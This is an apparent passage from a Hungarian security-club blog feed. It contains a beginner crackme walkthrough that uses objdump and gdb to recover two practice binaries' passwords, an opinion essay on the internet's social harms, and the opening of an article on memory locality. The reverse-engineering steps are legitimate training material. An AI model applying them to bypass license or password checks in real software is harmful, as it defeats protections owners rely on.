<p>Tehát most olyan C/C++ nyelvben írt programokkal fogunk foglalkozni, amiknek a forráskódja nem adott, csak is egy futtatható állomány az egész. Ez az executable gépi kódból áll, hiszen az emberi nyelven írt kódot a fordító lefordítja a számítógép nyelvére, és ha explicit módon nem adtuk meg a fordítónak paraméterként, hogy hagyja benne a szimbólumokat, akkor egyáltalán nem lesz kölcsönösen egyértelmű ez a leképezés, kód szempontjából. Egy szó mint száz, nem fogjuk tudni a forráskódot olvasni. Azt megemlítem viszont hogy vannnak olyan csúcsszuper &ldquo;decompiler&rdquo;-ek, mint a <a href="https://github.com/NationalSecurityAgency/ghidra">Ghidra</a>, amik így is nagyjából ki tudják találni, hogy mire gondolt a költő, amikor a programot írta, de ezekre most szerintem nem lesz szükségünk.</p>
<p>Most relatíve egyszerű és kezdőknek szánt feladatokat fogok megoldani, de hogy teljesen megértsd a megoldásokat, ahhoz C/C++ illetve Intel x86-64 assembly tudás az elengedhetetlen.</p>
<p>Az alábbiakat parancsori programokat fogom használni:</p>
<ul>
<li><strong>objdump</strong> - az assembly kódját tudjuk ezzel olvasni a programnak</li>
<li><strong>ltrace</strong> és <strong>strace</strong> - a program futása közben leköveti milyen dinamikus könyvtár hívások történnek (pl printf vagy strcmp)</li>
<li><strong>gdb</strong> - egy svájci bicska ami minden programozónak a legjobb barátja, debugger szoftver de visszafejtésnél is szuperál</li>
<li><strong>strings</strong> - kis egyszerű eszköz, ami kiírja az összes kiírható karaktert amit megtalált az állományban</li>
</ul>
<p>Fontos óvintézkedés mielőtt még bele lendülünk, hogy érdemes egy virtuális gépen csinálni ezeket a crackme-ket, mivel annak ellenére, hogy az exe-ket ellenőrzik feltöltés után, mégiscsak egy ismeretlen programot készülünk futtatni. A virtuális környezet pedig elszeparálja ezt a programot a valódi rendszerünktől, így biztonságosabbá téve ezt az egészet. Arra viszont figyeljünk, hogy még ez sem teljesen atombiztos, mivel ha van például megosztott mappa a virtuális gépünkben akkor máris van híd a kettő rendszer között. Illetve ismertek már olyan vírusok is, amik képesek kilépni a virtuális gépből, bizonyos körülmények között. Mindenesetre ezek közül valószínűleg egyse fenyeget minket, de ez az elővigyázatosság illetve ez az &ldquo;adversary mindset&rdquo; tehát, hogy a legrosszabbra készülünk, hasznos rutin amikor az ember kiberbiztonságban érdekelt.</p>
<h2 id="visszafejtés">Visszafejtés</h2>
<p>Virtuális gépnek a <a href="https://www.virtualbox.org/">VirtualBox</a>-ot használom, amin van egy csupasz Arch Linux a felsorolt eszközökkel.</p>
<h3 id="az-első">Az első:</h3>
<h4 id="d4rkfl0ws-easy_firstcrackme-by-d4rk_fl0whttpscrackmesonecrackme5c8e1a9533c5d4776a837ecf"><a href="https://crackmes.one/crackme/5c8e1a9533c5d4776a837ecf">D4RKFL0W&rsquo;s Easy_firstCrackme-by-D4RK_FL0W</a></h4>
<p>Letöltötjük és futtatjuk, csak hogy lássuk mivel van dolgunk.</p>
<p><img alt="fut" src="/crackmes2.png"></p>
<p>Mint ahogy látszik egy jelszót kell valahogy kitalálnunk vagy éppenséggel kikerülnünk, és a jelszó az nem az almafa :((.</p>
<p>Próbáljuk rajta ki az eszközeinket:</p>
<p>Először nézzük az ltrace-t. Nagyon sokra nem mentünk vele, semmi érdekes nem látszik benne, csak a kiíratás folyamata. Ha például a beolvasott jelszót úgy ellenőrizte volna a program, hogy strcmp()-t használ, akkor azt itt láttuk volna.</p>
<p><img alt="ltrace" src="/crackmes3.png"></p>
<p>Az objdump már annál hasznosabbnak bizonyult. Megkeressük a main blokkot, mivel valószínűleg ott történik a jelszó helyességének a vizsgálata. Itt már látszik egy kis minta, amit ki is emeltem a képen. A beolvasott jelszót karakterenkét ellenőrzi a program cmp operátorral. A &ldquo;je&rdquo; utasítás az a &ldquo;jump if equal&rdquo;-nak felel meg. Tehát ha a karakter egyenlő cmp-ben a hexadecimálissal, akkor átugorja a programazt a függvényhívást ami valami &ldquo;failed&rdquo; metódust hív meg. Az összehasonlításban használt hexadecimális értékeket ASCII karakterre fordítva és konkatenálva megkapjuk a kívánt jelszót: H1DD3N. Yey!</p>
<p><img alt="objdump" src="/reverse_help.png"></p>
<p>Megjegyezném, hogy karakterenként soha sehol sem érdemes jelszót ellenőrizni, vagy ha muszáj akkor figyeljünk oda arra, hogy konstans idő legyen az ellenőrzés, máskülönben támadható lesz a program side-channel támadással. Például ha van egy 4 jegyű beléptető PIN terminál ami egyből visszatér &ldquo;Rossz jelszó!&quot;-val miután beírtuk az első számjegyet, akkor brute force-nál 10.000 próbálkozás helyett elég lesz csak 40 próbálkozás.</p>
<h3 id="a-második">A második:</h3>
<h4 id="d4rkfl0ws-crackme2-be-d4rk_fl0whttpscrackmesonecrackme5c95646333c5d46ecd37c960"><a href="https://crackmes.one/crackme/5c95646333c5d46ecd37c960">D4RKFL0W&rsquo;s crackme2-be-D4RK_FL0W</a></h4>
<p>Ez lesz sem sokkal nehezebb első látszatra, itt is jelszót kell megfejtenünk.</p>
<p>A strings, ltrace, strace itt sem hasznos sokra. Az objdump-ot nézve sem találtam nagyon semmi triviális megoldásra vezetőt, de azt láttam hogy van a programban egy olyan blokk hogy _Z14check_passwordPc ami talán érdekes lehet a számunkra. Visszont passzív módon nem lehetet csak úgy az assembly kódból kiolvasni a jelszót mint előbb, valószínűleg a kolléga szándékosan úgy csinálta, hogy a program valamelyik eldugott részébe strcat()-tel futás időben állítja elő a jelszót karakterről karakterre.</p>
<p>Tehát futás közben kell végig lépkedünk azon, hogy mi is történik valójában. Erre fogom használni a <strong>gdb</strong>-t. A gdb önmagában kicsit csupasz ezért ajánlom neked is, hogy kicsit tuningold fel a <a href="https://github.com/hugsy/gef">GEF</a>-fel, hogy egyszerűbb legyen a szomszéd néni wifijének a feltörése (viccelek).</p>
<p>Tehát amit csinláltam:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>gbd -q crackme2-be-D4RK_FL0W
</span></span></code></pre></div><p>Elindítjuk a gdb-t.</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">set</span> disassembly-flavor Intel
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">break</span> *_Z14check_passwordPc
</span></span><span style="display:flex;"><span>run 
</span></span></code></pre></div><p>Már nem emlékszem, hogy mi a default disassembly-flavor de én jobban preferálom az Intel féle syntaxot ezért állítottam be arra. Majd breakpoint-ot raktam a már említett függvényhez, hogy a programfutása ott megálljon, és megtudjuk vizsgálni közelebről is. A run-nal pedig elindítjuk a programot.</p>
<p><img alt="gdb1" src="/crackmes4.png"></p>
<p>Ez a felület fogad minket. Gyors hogy miket láthatunk:</p>
<ul>
<li>felül ott van mind a 16 db 64 bites regiszter amikkel a számítógép dolgozik (igazából sokkal több regiszterrel dolgozik a számítógép, hogy minél több párhuzamosítást tudjon végrehajtani, csak az architektúra utasításkészlete 16 regiszterre lett kitalálva, és ettől eltérni nem lehet, mivel akkor nem lenne visszafelé kompatibilis és így a régi programok nem müködnének, ezért a processzor belül ezt a 16 regisztert képzi le az összes szabad szerintem több ezer regiszterére).</li>
<li>alatta ott van a jól ismert stack</li>
<li>utána az assembly utasítások, zölddel jelölve az épp következő utasítást</li>
</ul>
<p>a többi annyira most nem érdekes számunkra</p>
<p>Itt már kiszúrja a szemünket valami, egész pontosan az r8 regiszterben ez a &ldquo;isAAthisFunBBCCD&rdquo;. Potenciálisan megvan már a győztesünk, de azért kutakodjunk tovább. Amikor ilyennel foglalkozik az ember akkor általában teljesül az, hogy ha valami túl jó hogy igaz legyen akkor tényleg az. Ezt csak azért mondom mert ezekben a feladatokban többszőr előfordul, hogy szándékosan tesznek bele &ldquo;honeypot&rdquo;-ot, aminek kb a magyar megfelelője a mézesmadzag. Ezeket szándékosan könnyen megszerezhetővé teszik, hogy az emberek bedőljenek neki. Ennek van valós gyakorlati haszna is, rengeteg rendszerbe helyeznek el ilyen honeypot-okat, csalikat, hogy a támadó fél erőforrását, idejét vesztegesse rajta feleslegesen. Olyakor még úgy is tud viselkedni, mint egy viharjelző, tehát ha valaki elkezdi támadni a honeypot-ot, akkor értesítést küld a védekezőknek, így több időt nyerve nekik a védelemben való felkészülésnél.</p>
<p>Vissza feladathoz, lépkedjünk a programban, ezt a <strong>stepi</strong> és <strong>nexti</strong> utasításokkal lehet a gdb-ben megcsinálni. A stepi és a nexti közötti különbség az az, hogy az egyik belelép a függvényhívásoknál a függvényekbe a másik pedig csak átugorja. Amikor a saját programodat debuggolod, akkor ugyanazek müködnek csak a végén az i nélkül. Gondolom az i az &ldquo;instruction&rdquo;-nek felel meg, mivel itt assembly utasításokról van szó.</p>
<p>Ekkor real-time látszik a program futása és a regisztereken a változás.</p>
<p><img alt="gdb2" src="/crackmes5.png"></p>
<p>Itt látszik már, hogy tényleg a feltételezett megoldásunk lesz a jó, mivel a program&hellip;.</p>
<ol>
<li>az <strong>rax</strong> regiszterbe a 0x69(&ldquo;i&rdquo;) értéket rakta</li>
<li>az <strong>rdx</strong> regiszterbe a 0x74(&ldquo;t&rdquo;) értéket rakta</li>
<li>majd ezeknek az alsó 8 bitjét hasonlította össze <strong>cmp dl, al</strong> utasítással</li>
</ol>
<p>Tehát itt is karakterenkét hasonlítja össze a program az általunk adott jelszót, ami most a &ldquo;test&rdquo; volt, a programban előállított &ldquo;isAAthisFunBBCCD&rdquo; -vel. Ez a megoldás.</p>
<p>Ennyi volt ez a kis bevezető, ha ijesztő az assembly számodra, nem vagy egyedül, de csak bíztatni tudlak, mivel megérteni talán még annyira nem nehéz és mellette kifizetődő, főleg ha érdekel a program visszafejtés.</p>
]]></content>
        </item>
        
        <item>
            <title>Az Információs forradalom és az internet következményei</title>
            <link>https://securiteam.kszk.bme.hu/hu/posts/2024/07/az-inform%C3%A1ci%C3%B3s-forradalom-%C3%A9s-az-internet-k%C3%B6vetkezm%C3%A9nyei/</link>
            <pubDate>Tue, 09 Jul 2024 17:47:21 +0200</pubDate>
            
            <guid>https://securiteam.kszk.bme.hu/hu/posts/2024/07/az-inform%C3%A1ci%C3%B3s-forradalom-%C3%A9s-az-internet-k%C3%B6vetkezm%C3%A9nyei/</guid>
            <description>Az internet a világunk egyik legélesebb kétélű kardja. A kereskedelemre, ezáltal pedig a gazdaságra gyakorolt pozitív hatása megkérdőjelezhetetlen. Az viszont még mindig kérdéses, hogy a társadalom és az emberek milyen árat fizettek ezért.</description>
            <content type="html"><![CDATA[<p>Az emberi viselkedés központi eleme az információ. Mélyen belénk van kódolva az információ keresése, állandó gyűjtése, halmozása, feldolgozása és továbbítása, hiszen évezredekkel korábban a túlélést jelentette mind ez. Az információ olyan számunkra mint az oxigén. Nem véletlen hogy az ingermegvonás egy rendkívül hatékony módszere volt a kínzásnak, hiszen az agyunknak szüksége van újabb információra, máskülönben magunkra akaszhatjuk a sárgacédulát. Társadalomról is csak azért tudunk beszélni, mert megugortuk azt az evolúciós lépcsőfokot, amelyik után elkezdtünk csoportosan információt megosztani egymással. Nem kellett minden generációnak újra feltalálni a kereket, elég volt csak az idősöktől megtanulni. Az internet sem sokkal több ennél, mi is csak a modern kor ősemberei vagyunk.</p>
<h2 id="a-jó">A Jó</h2>
<p>Az interneten nincsen távolság és lassan már minden háztartásban van egy internet-képes eszköz, tehát jóformán bárkivel kapcsolatba tudunk lépni szinte azonnal, fizikai határok nélkül. Csillagászati mértékekben lehetne kifejezni az elérhető tudásanyagot is, szóval tanulni és fejlődni elméletben soha nem volt ilyen egyszerű. Arról pedig nem is kell beszélni hogy, mennyi munkát teremtett, és mekkora platformot biztosít a kereskedelemnek. <em>De hol itt a csattanó?</em></p>
<h2 id="a-rossz">A Rossz</h2>
<p>Sok eszközről el lehet mondani, hogy nagyon hasznos egészen addig amíg nem rossz szándékkal használják. Ott van például a kés, lehet vele kenyeret szeletelni, de embert is ölni. Ott a maghasadás, lehet vele lényegében tiszta, nagy mennyiségű energiát előállítani erőművekben, de ugyanakkor városokat lenullázni is. Azt már lehet szerintem látni ezek alapján is, hogy legalább akkora kárt lehet okozni a legtöbb eszközzel, mint amennyi hasznot lehet faragni belőle. Az internet is hasonló, de mégis más egy kicsit. Az internet nem csak fekete-fehér, rengeteg bújtatott következménye van aminek a kimenetelét nem tudjuk megjósolni, de már hatását érezhetjük jelenünkben is. Az emberek észre sem veszik ezeket a folyamatokat, mivel nem olyan mint egy atomvillanás vagy egy vágás, normálisnak érzik mert az interneten olyan gyökeres ösztöneink vannak kihasználva, amikről talán a legtöbben nem is hallottak. Elvesztettünk egy háborút, amiről nem is tudtuk, hogy létezik.</p>
<p>A valóság minden ember számára az amit lát, hall, tapint, szagol, ízlel, tehát az információk amik nap mint nap érnek minket. A modern ember elsődleges információforrása az internet, tehát jogosan állíthatjuk azt, hogy az internet nagyban befolyásolja valóságérzetünket, és világképünket. Na de milyen valóság is ez?</p>
<h3 id="hatása-emberi-kapcsolatainkra">Hatása emberi kapcsolatainkra</h3>
<p>Az előbb már említettem, hogy az egyik dolog, amire az internet büszke lehet az az emberek összehozása. A közösségi média pont azért lett olyan hatalmas, mert erre az embereknek szüksége van, társas lények vagyunk. Bennünk különféle hormonok, mint például az oxytocin vagy a dopamin, szabadulnak fel ha más emberekkel ismerkedünk, amik sikerélménynek az érzetét adják. Ezekről később is lesz szó. Ez viszont több sebből is vérzik.</p>
<p>Első dolog amit kiszeretnék emelni, hogy a közösségi médián senki a valóságot osztja meg magáról. Mindenki azt az alter egóját mutatja magáról aki boldog, aki sok pénzt keres, aki utazik és általánosságban csak pozitív élmények érik. Na már most ha ezt egy átlag ember meglátja és összehasonlítja középszerű életével, amiben igenis vannak szomorú és fájdalmas pillanatok, akkor el lesz keseredve mert azt fogja hinni, hogy valamit ő csinál rosszul. Pedig abban biztosak lehetünk, hogy a képernyő másik oldalán lévő embernek is vannak problémái. Ez egy nagyon általános példa volt, de többet is bele lehet látni, elég csak a testépítő influenszerekre gondolni, akik olyan normákat állítanak amik természetes módon elérhetetlenek, ezért az emberekben hamis példák tudnak kialakulni, így önkép és testképzavarba is futhatnak.</p>
<p>Az értékrendszerünkre és a morális iránytűnkre is nyílván hatással van a közösségi média, hiszen minden amit ott teszünk, megosztunk, juttalmazva van like-okkal, más emberek elismerésével, ez pedig szintúgy sikerélményt okoz bennünk. Ennek az érzésnek a folytonos kajtatása oda vezet hogy az értékrendszerünk az lesz, hogy nem lesz értékrendszerünk, mivel minden &ldquo;jó&rdquo; ami megtekintést és like-ot hoz. Ennek a megtestesülése az influenszerek, akik pénzért és megtekintésért, bármit állítanak, bármit megtesznek. A valóság az ő szemükben az, ami éppenséggel pénzt hoz a házhoz. <em>&ldquo;Óceánia mindig is háborúban állt Eurázsiával&rdquo;</em>, mondta ezt egy influenszer 3 pengőért.</p>
<p>Hiába hoz össze annyi új emberrel az internet, összeségében szerintem azt lehet elmondani, hogy az emberek csak magányosabbak lettek általa. Az interneten szerzett ismerősök azt az illúziót tartják fönt, hogy több százan vesznek körül téged, de a valóságban egyikükkel sincs közös emléked, pedig azok az igazán fontosak. Szerintem a barátságok, és a párkapcsolatok is akkor virágoznak ha van úgynevezett proof-of-work, tehát minél több munkát és energiát fektetsz bele, hogy legyenek közös pillanatok a valóságban.</p>
<p>Sajnos az internet kapcsán egyre többször jön elő ez az illúzió szó. Ez azért van szerintem, mert sok olyan dolog van az interneten, ami ugyanazt az érzést, ugyanazokat a hormonokat szabadítja föl bennünk mintha a valóságban csinálnánk, de közben meg egy sokkal másodrendűbb és mesterségesebb tevékenység. Talán mondanom se kell de a pornó is ide tartozik. Teljesen átveri, átprogramozza az emberek agyát. Nulla energia befektetést igénylő, végtelen élvezet. Ez a modern ember rákfenéje. Ez végül oda vezet, hogy az emberek kedvtelenek, ambíció nélküliek és motiválatlanok az élet minden területén, hiszen a test már nem tudja őket mivel jutalmazni hiszen hormonháztartásukat kimerítették, az említett élvezetekkel. Semmi sem számít, semmi sem okoz örömöt, mert kiégette az internet az agyat. Ez pedig a hedonizmus.</p>
<p>A cyberbullying és az online grooming is egy jelentős probléma, amik főleg az emberi jellem hibájából származnak, de az internetnek mint közvetítő közegnek is van felelőssége ebben.</p>
<p>Utolsónak hagytam azt ami szerintem a legfájóbb pontja az egésznek. Azt gondolná az ember, hogy az internet párbeszédet teremt, hogy vitákat indít, mivel annyi különböző gondolkodású, származású, anyagi helyzetű embert ereszt össze, hogy a súrlódást lehetetlen elkerülni. A helyzet viszont merően eltér ettől. A baj ott kezdődik, hogy a profitorientált cégek, nem meglepő módon, a profitot szeretnék maximalizálni (wow), és  ezt úgy érik el, hogy maximalizálják az applikáción eltőltött idődet. Ennek egyik módja az, hogy olyan tartalmat raknak eléd ami érdekel téged, de legfőképp olyat ami <strong>tetszik</strong> neked. A háttérben müködő tanuló algoritmusok annyira tökéletesek és annyira olajozottan müködnek, hogy nagyon gyorsan világossá válik számukra milyen skatulyákba lehet téged sorolni. Nem fogsz látni olyan véleményeket, amik ellentmondanak a tieddel. Ha kutyás ember vagy kutyákat fogsz látni. Nincsen párbeszéd, nincsen vita, nincsen haladás. Mi követlezik ebből? Egy olyan túlhigénikus világ épül fel benned, ahol mindenki egyetért veled. Ez viszont nem a valóság. A valóságban, igenis sok különböző vélemény van és gondolat, amiknek meg kell ütközniük egymással. Egy elv, egy elmélet akkor ér valamit, ha próbára teszik azt. Legvégül pedig azon elvek maradnak fent, amik a legerősebbek voltak, legalaposabbak és legindokoltabbak. Mi történik amikor ez nincs jelen, mint például az interneten? Olyan elméletek kapnak lángra amiknek a valóságban esélyük se lenne, gondolok én itt a Lapos Föld hívőkre, vagy egyéb más áltudományt valló csoportokra. Buborékok jönnek létre az interneten, amik között nincsen átjárás, elmondod a véleményedet és csak a saját visszhangodat hallod visza. Az internet tehát amennyire összeköt minket, annyira szakadékot is teremt köztünk. Ennek a következményeiért pedig nem kell messzire tekinteni: a 2020-as amerikai választások után polgárháborús helyzet alakult ki, mivel a vesztes republikánus párt követői csalással vádolták a liberálisokat. Nem meglepő ez sem, csak gondoljunk bele egy republikánus szavazó helyzetébe, Facebookon csak republikánus csoportokban volt benne, csak az ő általa támogatott jelölteknek a hirdetését látta stb.. Ez után megnyerte egy olyan jelölt egy olyan párttal a választást ami az ő világában eddig nem is létezett.</p>
<p>Egyén szintjén is érdemes megvizsgálni mindezt, hiszen minket, mint egyéneket mégis csak jobban érint. Az emberek személyiségére szerintem negatív hatással van ez a &ldquo;for you&rdquo; marketing fogás, mivel az emberek így abban szocializálódnak, hogy minden róluk szól, minden nekik szól. <em>&ldquo;Ez a termék csak neked!&rdquo;</em> Mondanom sem kell, hogy ez egy eléggé egocentrikus jellemet tud okozni, ami hisztérikus rohamot kap, abban a pillanatban, hogy valaki más véleményen van mint ő. Eddig amikor azt mondtam hogy &ldquo;vélemény&rdquo;, mindig a kúltúrális és tiszteletteljes véleményekre gondoltam, de mivan akkor az alpári mocskolódással és trollkodással amivel az internet is tele van. A legjobb megoldás az lenne, ha az emberek megtanulnának a másikkal empatikusan viselkedni és normális formába önteni véleményüket. Az viszont szerintem megengedhetetlen, hogy csak egyszerűen cenzúrázzuk a bántó hozzászólásokat. Ezzel nem szüntettük meg a problémát csak a szőnyeg alá söpörtük csak azért hogy az illúziót fenntarthassuk. Ki mondja meg akkor mi a bántó komment, a kormány? Lehet ma még nem, de holnap már a szeletelt kenyér kifejezés már bántónak számít, csak mert valakinek ez áll az érdekében. Az emberekben igenis ki kell alakulni egy immunitásnak, toleranciának a negatív élmények ellen is, mivel sajnos a valóság tele van velük. Mindeközben pedig arra kell törekedni, hogy a tudatlanságot, ami a troll hozzáállást okozta, megszüntessük. A hajléktalanság sem szűnik meg, csak annyival hogy betiltjuk a hajléktalanokat. A tanúlság az, hogy több forrásból kell mindig tájékozódnunk és törekedünk kell egymás megismerésére, megértésére még akkor is ha úgy gondoljuk nekünk van igazunk, mert a világ nem fekete-fehér és mert közösen sokkal többre mehetünk, hiszen magányos hősök nem léteznek.</p>
<p><img alt="Öngyilkosságok száma" src="/suiciderates.png"></p>
<p>Ez a kép 100.000 emberre jutó öngyilkosságok számát mutatja az Egysült Államokban az évek múltával. Persze nem lehet közvetlen következtetést vonni a kép adata és az említett internet problémái között, hiszen jó pár, nem független tényező játszik szerepet még, de azért mindenesetre egy eléggé elszomorító görbe.</p>
<h3 id="hatása-kognitív-képességeinkre">Hatása kognitív képességeinkre</h3>
<p>Azt is felhoztam mint jótékony dolog, hogy milyen nagy mennyiségű tudás áll rendelkezésünkre az internet miatt. Ez így is van, csak éppenséggel az internetről informálódni olyan, mint tűzcsapból vizet inni. Egyszerűen az agyunk nem képes egészséges keretek között ennyi információt befogadni, és ennek vannak következményei.</p>
<p>Mindenekelőtt fontos belátni, hogy amennyire könnyű igazságot terjeszteni annyira egyszerű dezinformálni is az interneten. Társadalmakat, csoportokat lehet ezzel megtéveszteni, irányítani, megdönteni. A valóságot a legtöbb ember amúgy is az interneten, a hírportálokon keresztül látja, így a manipuláció és megvezetés gyerekjáték. Csak elégszer kell mondani hogy a fű az kék, az ég pedig zöld, előállítani a saját forrásainkat, az ellenvéleményeket pedig túlkiabálni. Az internet a tökéletes eszköz a propaganda terjesztésére, mindenkit el lehet érni vele, nem erőforrás igényes, az emberek szánt szándékkal nézik, és a megfelelő algoritmusokkal a kritikus hangokat el lehet izolálni a hívőktől, a kemény magtól. Még szerencse, hogy az interneten senkinek sem áll szándékában a tömegek manipulációja :DD.</p>
<p>Azt hogy milyen hatással volt / van az internet az agyunkra, talán a fiatal generációkon lehet a legjobban megfigyelni, mivel fiatal korban alakul ki az idegpályák nagy része, így a változásra is ekkor alkalmas a legjobban az agy. A probléma az információ mennyiségével és a formájával van legfőképp.</p>
<p>Mennyiség terén azt tudni kell, hogy az internet mérete 2 évente duplázódik és exponenciálisan növekszik. Amikor ez a rengeteg információ és inger elér minket, az agyunk úgy védekezik, hogy egyszerűen már nem fogadja be őket. Olvasol, nézel valamit de már 30 perc múlva nem is emlékszel rá, máskülönben az agy elvérezne a sok ingertől. Illetve a nagy mennyiségű információ, megosztja a figyelmünket, soha nem fogunk tudni egy dologra koncentrálni. Mindenbe belekezdünk de semmit nem fejezünk be, mert addigra már a másik információn jár az agyunk. Ez a biztos útja annak, hogy a tudásunk felületes legyen és haszontalan. Az egész emberiség tudása rendelkezésünkre áll, de nem tudunk vele mit kezdeni.</p>
<p>Az információnak sok formája van, de amit szerintem most érdemes szemügyre venni az a short content. Ahogy már szó volt róla, az információ szerzés olyan nekünk mint a drog. A rövid tartalmak, pedig tökéletesen beleillenek az egyre gyorsuló világunkba, hiszen alig igényelnek időt, és élvezettel csináljuk őket. Mindig többet és többet akarunk belőlük egészen addig, amíg az agyunkban a receptorok már ropogósra sültek a sok inger miatt. Ráadásul olyan dolgokat látunk amik tetszenek nekünk és kifogyhatatlan mennyiségben. Meggyőződésem, hogy a legtöbb ilyen applikáció mögött (TikTok, Instagram, Facebook pl) több pszichológus dolgozik mint programozó, mivel lenyűgöző módon tartják csapdában figyelmünket különféle ösztöneinket kihasználva. Mert a végső cél ez, hogy minél többet odaadjunk magunkból nekik, mivel mi vagyunk a termékek, mi vagyunk akik figyelmét, adatait eladják. Ha nem fizetsz a termékért, akkor te vagy a termék. Ebben nem mi vagyunk a hibásak, a döntés már nem tudatosan történik a legtöbb embernél, hanem reflexből nyúl a telefonhoz például. Abban viszont nagyon is hibásak vagyunk ha gyerekeinket nem védjük meg ettől, miután már tisztában vagyunk a következményekkel. Egyre gyakoribb sajnos az &ldquo;iPad kid&rdquo; jelenség, ahol a szűlő fáradtság vagy egyéb okok miatt, hanyag módon letudja a gyerek lefoglalását azzal, hogy kezébe adja a tabletet. Biztos nem sülhet ki semmi rossz, ha egy kisgyereknek korlátlan hozzáférése van az egész internethez&hellip;</p>
<p>Csak hogy konkrétumokat is említsek, a koncetrálóképesség drasztikusan csökken short content huzamos fogyasztása után. Az agyunk mindig alkalmazkodik a körülményekhez, és ha mi mindig maximum 1 perces tartalmakat fogyasztunk, akkor egyszerűen átprogramozza magát az agy és egy könyv elolvasása már nem fogja tudni lekötni a figyelmünket. Nem csak a könyvektől esünk el így, de minden mástól is ami egy kicsit is hosszabb gondolatmenetet igényel. Ha már könyveket megemlítettem, érdemes azt is leszögezni, hogy az interneten fogyasztott tartalom egyre nagyobb része vizuális. Ez talán azért hátrányos, mert így a kreativitásunkat soha nem kell megmozgatni, hogy elképzeljünk valamit, hiszen már ott van készen előttünk.</p>
<h2 id="és-a-csúf">És a Csúf</h2>
<p>Az internet bármennyire is egy csodálatos és utópisztikus elképzelés volt, jelen pillanatban a tömegek kihasználásáról, szárazra fejéséről szól, ahol az emberek már nem gyártanak semmi valódi értéket, csupán fogyasztók. Minden azzal keződik, hogy reggel felkelsz az álmodból. Itt az ideje felkelni, felkelni az álómból, a kényelemből és szembenézni a valósággal, ami lehet csúf vagy reménytelen, sárga és keserű, de legalább a miénk. Használd az internetet, de ne az internet használjon téged.</p>
<p>Remélem sikerült jól összefoglalnom ezt a pár gondolatomat a témában, ha van bármi hozzászólásod ne tartsd magadban! Legyen szép napod!</p>
]]></content>
        </item>
        
        <item>
            <title>Lokalitástudatos programozás</title>
            <link>https://securiteam.kszk.bme.hu/hu/posts/2024/06/lokalit%C3%A1studatos-programoz%C3%A1s/</link>
            <pubDate>Fri, 28 Jun 2024 13:20:06 +0200</pubDate>
            
            <guid>https://securiteam.kszk.bme.hu/hu/posts/2024/06/lokalit%C3%A1studatos-programoz%C3%A1s/</guid>
            <description>Egyáltalán nem mindegy, hogy egy mátrixot, oszloponként, vagy soronkét, nehogy Isten véletlenszerűen járjuk be. Ebben a cikkben körüljárjuk, hogy hogyan lehet számítógépes ismereteinket igába hajtani, a programunk előnyére.</description>
            <content type="html"><![CDATA[<p>Neumann architektúrája óta, egy számítógép müködése során, a futtatandó utasításokat, és ezen utasítások által hivatkozott címek tartalmát is egy memóriában tárolja. A programban használt adatok, úgynevezett adatmemóriból érhetőek el, ez pedig tárhierarchiába rendeződik.</p>
<h2 id="tárhierarchia">Tárhierarchia</h2>
<p>A számítógépünk teljesítménye lényegében a processzor és a memória órajeléből tevődik össze, és eme két egység közül, a memória az ami a processzor mögött kullog. Ez azt jelenti, hogy hiába a magas CPU órajel, ha a memória szűk keresztmetszetként viselkedik mellette, mivel ha az éppen végrehajtandó utasításnál, nincsen kéznél a használandó adat, akkor a processzor várakozásra kényszerül, ezáltal nem használja ki teljes potenciálját, így suboptimális lesz a kihasználtsága.</p>
<h3 id="lokalitási-elvek">Lokalitási elvek</h3>
<p>Nagy <em>szerencse</em> hogy a számítógépes programok többsége valamilyen mintát követnek, mikor a memóriába nyúlnak, úgynevezett <strong>lokalitási elveket</strong>, és ezeket kihasználva tudunk a teljesítményen javítani. Többféle lokalitási elvet is ismerünk:</p>
<p>Ha egy memóriában tárolt adaton műveletet végeztünk&hellip;</p>
<ul>
<li><em><strong>Időbeli lokalitás:</strong></em> &hellip;akkor valószínűleg a közel jövőben is használni fogjuk. Példa: egy ciklus számlálóját minden ciklusban növelem.</li>
<li><em><strong>Térbeli lokalitás:</strong></em> &hellip;akkor valószínűleg a közelben lévő adatokat is használni fogjuk. Példa: egy tömböt bejárok.</li>
<li><em><strong>Algoritmikus lokalitás:</strong></em> Sok program dinamikus adatstruktúrákkal dolgozik (pl. bináris fák, láncolt listák), ezek viszont nem felelnek meg se nem a térbeli se nem az időbeli lokalitásnak (mivel a memóriában nem folytonosan helyezkednek el), ámde mégis szabályos viselkedést eredményeznek, melyet ki lehet használni.</li>
</ul>
<p>Tehát ha lokalitási elvek szerint, a processzor közelébe helyezzük a gyakran használt adatokat és környezetüket, akkor csökkenthetjük a lassú és költséges memória műveletek számát. Ekkor is memóriában helyezzük el az adatainkat, csak egy sokkal gyorsabb de kisebb és magasabb fogyasztásúban. Ezt a memóriát cache memóriának nevezzük. De milyen technológiát használnak cachenél?</p>
<p>Több memória technológiát is ismerünk, mint például a magas adatsűrűségű és olcsóbb, de lasúbb DRAM, vagy az alacsony adatsűrűségű és drága, de gyors SRAM. Egy bit tárolásához, A DRAM 1 tranzisztort, az SRAM pedig 6-ot használ, innen ered a fogyasztás, adatsűrűség és az ár különbség. Egyiknél sem teljesülhet viszont egyszerre az, hogy olcsó, gyors és nagy, így mindig az igényekhez igazítva, a kompromisszum kötés elkerülhetetlen. Itt jön be a tárhierarchia miszerint több szintből építjük fel a memóriát úgy, hogy az adott szintet minél többször használja a processzor, annál gyorsabb és ezáltal kisebb legyen.</p>
<p><img alt="tárhierarchia" src="/tarhierarchia.png"></p>
<p>A leglassabb tárolón, a háttértáron tartjuk a legkevésbé használt, de nagy mennyiségű adatokat, általában HDD-n vagy SSD-n. A gyakran használt adatokat az operatív memóriában tároljuk, általában DRAM-ot használva, és az éppen futó program vagy process által használt adatokat (pl. egy lokális  változót) pedig a cache-ben tartjuk, ami SRAM-ból épül fel.</p>
<blockquote>
<p>A cache további működését itt nem részletezem, de ha érdekel akkor érdemes utánanézni, hogy mi alapján kerülnek be a cache-be az adatok, mert nyílván mikor a program hivatkozik a memóriára akkor már készen kell állnia a cache-ben, így valahogy meg kellene jósolni, hogy a jövőben használni fogjuk-e az adatot, ugyanakkor nem szemetelhetjük tele a cache-t mindennel mert kicsi :(, ezért jó tippnek kell lennie. Prefetch-nek nevezik ezt, és egyszerűbb mind aminek gondolnád.</p>
</blockquote>
